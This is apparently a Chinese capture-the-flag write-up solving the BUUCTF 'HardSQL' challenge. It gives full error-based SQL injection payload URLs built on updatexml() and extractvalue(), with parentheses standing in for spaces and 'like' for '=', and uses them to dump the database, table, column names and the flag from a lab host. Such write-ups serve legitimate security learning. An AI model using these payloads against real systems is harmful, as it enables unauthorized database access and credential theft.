web:[极客大挑战 2019]HardSQL

题目

打开页面显示为

查看源代码没有发现其他的提示信息,随便尝试一下

错误

题目名为hardsql,先来尝试有无sql注入存在

尝试输入单引号输入

显示页面存在注入

这里按照常规思路继续使用order by函数和union select函数进行查询,但是页面没有任何显示

上述测试闭合时返回了错误信息,用bp抓包,看一下过滤的,发现用于报错的注入函数没有被过滤

使用updatexml

通过查询可知,updatexml在执行时,第二个参数应该为合法的xpath路径,否则会引发报错的同时将传入的参数进行输出

先查询数据库,构造payload

复制代码
http://7e5d1a53-23d2-4466-a553-66a204aaac29.node4.buuoj.cn:81/check.php?username=admin%27or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=123

可得知数据库名为geek

查询表,构造payload

复制代码
http://7e5d1a53-23d2-4466-a553-66a204aaac29.node4.buuoj.cn:81/check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=123

得到表

查字段,构造payload

复制代码
http://7e5d1a53-23d2-4466-a553-66a204aaac29.node4.buuoj.cn:81/check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))%23&password=123

可以得到字段名

然后查询想要的字段

构造payload

复制代码
http://7e5d1a53-23d2-4466-a553-66a204aaac29.node4.buuoj.cn:81/check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))%23&password=123

发现flag显示不全,函数显示有字符数限制

使用right可得到另一半

构造payload

复制代码
http://7e5d1a53-23d2-4466-a553-66a204aaac29.node4.buuoj.cn:81/check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=123
使用extractvalue()

这里空格和=没有,使用()代替空格,使用like代替=

查数据库

构造payload

复制代码
/check.php?username=admin&password=123'^extractvalue(1,concat(0x7e,(select(database()))))%23

查表

构造payload

复制代码
/check.php?username=admin&password=123'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23

查字段

构造payload

复制代码
/check.php?username=admin&password=123'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23

查数据

复制代码
/check.php?username=admin&password=123'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23

这里也是显示不全,按照上面的updatexml后的方法进行补全即可

参考文章链接:

buuctf-极客大挑战 2019HardSQL(小宇特详解)_小宇特详解的博客-CSDN博客

https://www.cnblogs.com/GTL-JU/p/16042242.html

https://www.cnblogs.com/upfine/p/16578800.html

相关推荐
txg66624 分钟前
VULOC:基于汇编切片的漏洞定位框架,精准锁定二进制中的危险代码
汇编·人工智能·深度学习·安全·网络安全
会编程的吕洞宾30 分钟前
LangChain4j Tool Calling 实战:让大模型自动查数据库发邮件,一句话搞定复杂任务
数据库·人工智能
知行合一。。。1 小时前
DeepAgents--01--Agent和OpenClaw的相关概念
android·数据库
数据知道2 小时前
IDOR 不安全的直接对象引用:API 越权实战检测
java·开发语言·网络·安全·网络安全
c238562 小时前
# Mini OJ — 项目详解文档
开发语言·数据库·c++
DFT计算杂谈2 小时前
C4T交错磁体中的超导交织序向列涨落与自旋流环涨落的选择机制
大数据·数据库·人工智能
2601_965798472 小时前
My Honest Review of Rank Math SEO Pro for Beginner Sites
数据库·人工智能·php
starzy19902 小时前
Soloop 智能视频创作全流程实战指南
数据库·microsoft·音视频
2601_963282773 小时前
极寒场景专网通信技术实践:黑龙江零下 40℃环境数字对讲组网方案落地解析
大数据·运维·数据库
聆风吟º4 小时前
【金仓数据库征文】Java 应用接入金仓数据库:从驱动、连接池到存储过程调试的踩坑实录
java·开发语言·数据库